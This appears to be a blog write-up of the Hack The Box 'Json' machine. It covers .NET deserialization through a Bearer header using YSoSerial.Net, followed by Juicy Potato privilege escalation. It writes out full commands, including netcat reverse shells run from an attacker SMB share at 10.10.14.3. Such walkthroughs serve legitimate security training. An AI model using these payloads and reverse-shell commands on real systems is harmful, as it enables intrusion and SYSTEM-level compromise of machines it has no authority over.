Introduction

The hack the box machine “Json” is a medium machine which is included in TJnull’s OSWE Preparation List. Exploiting this machine requires knowledge in the areas of code deobfuscation, deserializtion and Windows Internals. More specifically, the required knowledge within deserialization attacks concerns deserialization attacks within .NET and how to use deserialization payload generating tools like YSoSerial.Net

BlockyCard

By enumerating the target, it is possible to discover a web application on port 80. By visiting the web application and studying the resulting requests in a proxy, it is possible to discover a JavaScript file which discloses an API endpoint for retrieving account information for authenticated users. The script also reveals that requests to this endpoint are authenticated through a header named “Bearer” which contains base64 encoded data. By sending this request manually and playing around with the value of the Bearer header, it is possible to discover that the value of this header is being deserialized. A deseralization payload can then be sent to the target to execute arbitrary shell commands. Once a shell has been acquired, it is possible to discover that the compromised user has the SeImpersonatePrivilege privilege and that the privilege escalation thus can be performed with Juicy Potato.

Exploitation

We start by performing an nmap scan by executing nmap -sS -sC -sV -p- 10.10.10.158. The -sS, -sC and -sV flags instruct nmap to perform a SYN scan to identify open ports followed by a script and version scan on the ports which were identified as open. The -p- flag instructs nmap to scan all the ports on the target. From the scan results, shown below, we can see a large amount of open ports. We start by investigating the web application on port 80.

nmap

loginHTML

If we navigate to the web application on port 80 in a browser, we are redirected to the login form above. If we study the requests in Burp, we can see that several JavaScript files are being loaded, as shown in the image below. Note that this image only includes requests which resulted in a response code of 200 OK and thus omits any requests which resulted in a 404 Not Found. A JavaScript script which stands out is app.min.js since it isn’t a JavaScript library like the other requested JavaScript scripts.

appMinJs

1
var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])

If we open the response to the request of the app.min.js script, we notice that it contains the long and obfuscated line above. To make the code easier to read, it is possible to automatically format the code and decode hex numbers using beautifier.io. After using the online tool, we can also replace any cryptic variable names (like _0x30f6x1,_0x30f6x2,_0x30f6x3 e.t.c) with more suitable variable names, to make the code easier to understand. The result is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
angular['module']('json', ['ngCookies'])['controller']('loginController', ['$http', '$scope', '$cookies', function(http, scope, cookies) {
    scope['credentials'] = {
        UserName: '',
        Password: ''
    };
    scope['error'] = {
        message: '',
        show: false
    };
    var token = cookies['get']('OAuth2');
    if (token) {
        window['location']['href'] = 'index.html'
    };
    scope['login'] = function() {
        http['post']('/api/token', scope['credentials'])['then'](function(response) {
            window['location']['href'] = 'index.html'
        }, function(response) {
            scope['error']['message'] = 'Invalid Credentials.';
            scope['error']['show'] = true;
            console['log'](response)
        })
    }
}])['controller']('principalController', ['$http', '$scope', '$cookies', function(http, scope, cookies) {
    var token = cookies['get']('OAuth2');
    if (token) {
        http['get']('/api/Account/', {
            headers: {
                "Bearer": token
            }
        })['then'](function(response) {
            scope['UserName'] = response['data']['Name']
        }, function(response) {
            cookies['remove']('OAuth2');
            window['location']['href'] = 'login.html'
        })
    } else {
        window['location']['href'] = 'login.html'
    }
}])

The code defines two controllers. The first controller is defined between line 1 and 22. At the start of the controller, a couple of empty variables are initialized. At line 10, a variable named “token” is assigned the value of a cookie named “OAuth2”. If the cookie exists, the user is redirected to /index.html at line 12. Otherwise, the function between line 14 and 22 can be used to perform a login request and handle the response appropriately. At line 15, we see that the login request is a POST request to the /api/token endpoint which includes a username and password as POST parameters. If the authentication is successful, the cookie named OAuth2 is implicitly set and the user is redirected to /index.html. Otherwise, an error message is returned to the user and a log entry is created on the web server.

The second controller is defined between line 23 and 39. At line 25, the code checks if the OAuth2 cookie has been set. If set, a GET request is sent to the /api/Account endpoint to get information about the authenticated user at line 26. As can be seen at line 27 to 29, this request uses a header named “Bearer” which contains the OAuth2 cookie received from an earlier request to the /api/token endpoint. Since we don’t have valid credentials, we can’t obtain a valid token. We can, however, recreate the request in Burp Suite without a valid token, as shown in the image below. This request results in the response shown in the second image below. From the response, we know that the web application expects the value of this header to be base64 encoded.

burpReq1

burpRes1

We can execute echo -n 'x' | base64 in a terminal to obtain the string eA== which is the base64 encoding of the character x. If we send a request where the Bearer header has the value eA==, we get another error message, as can be seen below.

burpReq2

burpRes2

This error message informs us that the backend uses .NET and suggests that the our base64 encoded data is being deserialized with Json.NET. We could thus try to perform .NET deserialization attacks. A good tool for generating deserialization payloads for .NET is YSoSerial.Net. We download the zip file mentioned in the README.md file of the project and extract it on a Windows computer. To generate a deserialization payload with YSoSerial.Net, we need to specify a formatter, a gadget and a command to execute upon deserialization. Next, we open CMD in the Release directory and execute ysoserial.exe -h to obtain a list of available gadgets together with which formatters they can be used. This results in the list below.

ysoserialHelp

gadgetsAndFormatters

As shown above, one of the entries is the ObjectDataProvider gadget which supports the Json.Net formatter. We know that we should use the Json.Net formatter since it was disclosed in the HTTP reponse earlier. To see if the ObjectDataProvider gadget works in our context, we can try to ping our Kali machine from the target host. To generate a payload which can do this, we execute ysoserial.exe -c "ping -n 10 10.10.14.3" -o base64 -g ObjectDataProvider -f Json.Net, as shown below. This creates a base64 encoded .NET object which will try to run the command ping -n 10 10.10.14.3 when deserialized. Note that you should change the IP address in this command to your IP address, to ensure that your machine receives the packets.

genPing

Next, we start Wireshark by executing wireshark. Then, we copy the base64 encoded data we obtained from YSoSerial.Net and place it in the Bearer header of the request to the /api/Account endpoint which we saw earlier. Once we have sent this request, we start receiving packets in Wireshark, as shown below. This means that we have successfully achieved remote code execution on the target!

wireshark

1
2
3
4
5
6
7
8
9
10
11
kali@kali:/tmp/x$ @@mkdir myShare@@
kali@kali:/tmp/x$ @@cp /usr/share/windows-resources/binaries/nc.exe ./myShare/nc.exe@@
kali@kali:/tmp/x$ @@sudo smbserver.py myShare ./myShare@@
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

The next step is to get a shell on the target. We start by creating a folder named myShare and copying a netcat binary for Windows to this directory. This binary can normally be found in the /usr/share/windows-resources/binaries/ directory in Kali Linux. Then, we use smbserver.py from impacket to create an SMB share which shares the myShare directory. We then proceed to generate a base64 encoded reverse shell payload by executing ysoserial.exe -c "START /B \\10.10.14.3\myShare\nc.exe 10.10.14.3 443 -e cmd.exe" -o base64 -g ObjectDataProvider -f Json.Net. When the target deserializes the reverse shell payload, it will execute the command \\10.10.14.3\myShare\nc.exe 10.10.14.3 443 -e cmd.exe. This command connects to our SMB share and uses the netcat binary there to connect back to us on port 443 and provide us with a shell on the target.

shell

We start a netcat listener by executing nc -lvnp 443. We then send a request to the /api/Account endpoint where the Bearer header is set to the base64 encoded reverse shell payload we just generated. A couple of seconds after sending the request, the listener receives a connection and we acquire a shell as the userpool user on the target!

Privilege Escalation

One of the first things we can check when we have compromised a Windows host is what privileges our account has using the whoami /priv command. In our case, this shows us that the SeImpersonatePrivilege is enabled for the account we compromised, as can be seen below. When this privilege is enabled, it can be possible to perform a privilege escalation using Juicy Potato. In general, only one of the SeAssignPrimaryTokenPrivilege or SeImpersonatePrivilege privileges are needed for this exploit to work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c:\windows\system32\inetsrv>@@whoami /priv@@
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
@@@SeImpersonatePrivilege@@@        Impersonate a client after authentication @@@Enabled@@@ 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

c:\windows\system32\inetsrv>

The Juicy Potato exploit works by making the SYSTEM account authenticate over NTLM while MITIM:ing this authentication attempt to negotiate a token for the SYSTEM account. It then impersonates this token and executes a specified command with the privileges of the SYSTEM account. For a detailed explanation of how the exploitation process works, it is recommended to read an earlier post by FoxGlove Security.

For the exploit to work, we need to provide it with a CLSID. A CSLID is an identifier for a Component Object Model (COM) server. The Component Object Model defines a binary standard for software components which makes it easy for entities to interact with software components that adheres to the standard. The exploit’s requriements for the CLSID we provide is that its corresponding COM server is instantiable by the current user, implements the IMarshal interface and runs as an elevated user.

We can obtain the latest version of Juicy Potato from the release page of its Github repository. To obtain CLSID:s, we can use the GetCLSID.ps1 script from the same repository. To perfrom a privilege escalation using this technique, we start by downloading the Juicy Potato binary JuicyPotato.exe and the GetCLSID.ps1 script using wget. We save these two files in our SMB share as shown below.

1
2
3
4
5
6
7
8
9
kali@kali:/tmp/x$ @@wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O ./myShare/jp.exe@@
[...]
2021-11-20 14:07:08 (22.2 MB/s) - @@@‘./myShare/jp.exe’ saved@@@ [347648/347648]

kali@kali:/tmp/x$ @@wget https://raw.githubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1 -O ./myShare/GetCLSID.ps1@@
[...]
2021-11-20 14:07:39 (25.2 MB/s) - @@@‘./myShare/GetCLSID.ps1’ saved@@@ [1580/1580]

kali@kali:/tmp/x$ 

Next, we try to execute the GetCLSID.ps1 script using Powershell to obtain a list of CLSID:s. As shown below, we do this by first setting the current directory to the C:\Windows\temp directory since we need a directory where we have write access. We then copy the script to the target from the SMB share using the command copy \\10.10.14.3\myShare\GetCLSID.ps1 .. Then, we execute the script with Powershell by executing powershell.exe -ExecutionPolicy Bypass .\GetCLSID.ps1. However, when executing the command, we get an error message. This error message tells us that the ogv cmdlet can not be found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
c:\windows\system32\inetsrv>@@cd C:\Windows\temp@@
cd C:\Windows\temp

C:\Windows\Temp>@@copy \\10.10.14.3\myShare\GetCLSID.ps1 .@@
copy \\10.10.14.3\myShare\GetCLSID.ps1 .
        @@@1 file(s) copied.@@@

C:\Windows\Temp>@@powershell.exe -ExecutionPolicy Bypass .\GetCLSID.ps1@@
powershell.exe -ExecutionPolicy Bypass .\GetCLSID.ps1
[...]
ogv : To use the Out-GridView, install Windows PowerShell ISE by using Server 
Manager, and then restart this application. (Could not load file or assembly 
'Microsoft.PowerShell.GraphicalHost, Version=3.0.0.0, Culture=neutral, 
PublicKeyToken=31bf3856ad364e35' or one of its dependencies. The system cannot 
find the file specified.)
At C:\Windows\Temp\GetCLSID.ps1:58 char:11
+ $RESULT | @@@ogv@@@
+           ~~~
    + CategoryInfo          : ObjectNotFound: (Microsoft.Power...1bf3856ad364e 
   35:AssemblyName) [Out-GridView], NotSupportedException
    + FullyQualifiedErrorId : @@@ErrorLoadingAssembly,Microsoft.PowerShell.Comman 
   ds.OutGridViewCommand@@@

By studying the script, it is possible to notice that the only line which uses the ogv cmdlet is the last line. The ogv cmdlet is simply used to make the output of the script easier to read. As such, we can remove this cmdlet using sed or manually with a text editor. The former can be performed by executing sed -i "s/$RESULT | ogv/$RESULT/" ./myShare/GetCLSID.ps1 as demonstrated below.

patch

After modifying the script, we recopy it to the target and execute it again. This time the script doesn’t crash and instead provides us with a list of CLSID:s.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
C:\Windows\Temp>@@del GetCLSID.ps1@@
del GetCLSID.ps1

C:\Windows\Temp>@@copy \\10.10.14.3\myShare\GetCLSID.ps1 .@@
copy \\10.10.14.3\myShare\GetCLSID.ps1 .
        @@@1 file(s) copied.@@@

C:\Windows\Temp>@@powershell.exe -ExecutionPolicy Bypass .\GetCLSID.ps1@@
powershell.exe -ExecutionPolicy Bypass .\GetCLSID.ps1

Name           Used (GB)     Free (GB) Provider      Root                      
----           ---------     --------- --------      ----                      
HKCR                                   Registry      HKEY_CLASSES_ROOT         
Looking for CLSIDs
Looking for APIDs
Joining CLSIDs and APIDs
[...]

AppId        : {69AD4AEE-51BE-439b-A92C-86AE490E8B30}
LocalService : BITS
CLSID        : {@@@03ca98d6-ff5d-49b8-abc6-03dd84127020@@@}


AppId        : {8C482DCE-2644-4419-AEFF-189219F916B9}
LocalService : EapHost
CLSID        : {@@@8C482DCE-2644-4419-AEFF-189219F916B9@@@}

[...]

AppId        : {8BC3F05E-D86B-11D0-A075-00C04FB68820}
LocalService : winmgmt
CLSID        : {@@@8BC3F05E-D86B-11D0-A075-00C04FB68820@@@}


AppId        : {653C5148-4DCE-4905-9CFD-1B23662D3D9E}
LocalService : wuauserv
CLSID        : {@@@9B1F122C-2982-4e91-AA8B-E071D54F2A4D@@@}

Next, we start a netcat listener nc -lvnp 443. To perform a privilege escalation using Juicy Potato, we will execute the command \\10.10.14.3\myShare\jp.exe -t t -p c:\windows\system32\cmd.exe -a "/c \\10.10.14.3\myShare\nc.exe 10.10.14.3 443 -e cmd.exe" -l 1337 -c {[CLSID]}, where [CLSID] is a CLSID form the output above. The command uses the -t flag to specify an attack method which can either be t if the SeImpersonate privilege is enabled or u if the SeAssignPrimaryToken privilege is enabled. The -p and -a flags are used to specify a binary to execute together with arguments to this binary. In this partiular case, these two flags specify that netcat should be used to provide us with a shell on the target. The -l flag specifies an arbitrary available port on the target machine which the exploit can use. Finally, the -c flag is used to specify a CLSID.

juicyPotato

systemShell

We try to execute the command with each of the CLSIDs, one at a time, since only some of them might actually work. Eventually, we find that the CLSID 8BC3F05E-D86B-11D0-A075-00C04FB68820 works! More specifically, when we execute \\10.10.14.3\myShare\jp.exe -t t -p c:\windows\system32\cmd.exe -a "/c \\10.10.14.3\myShare\nc.exe 10.10.14.3 443 -e cmd.exe" -l 1337 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}, we successfully obtain a shell with SYSTEM privileges, as can be seen in the two images above.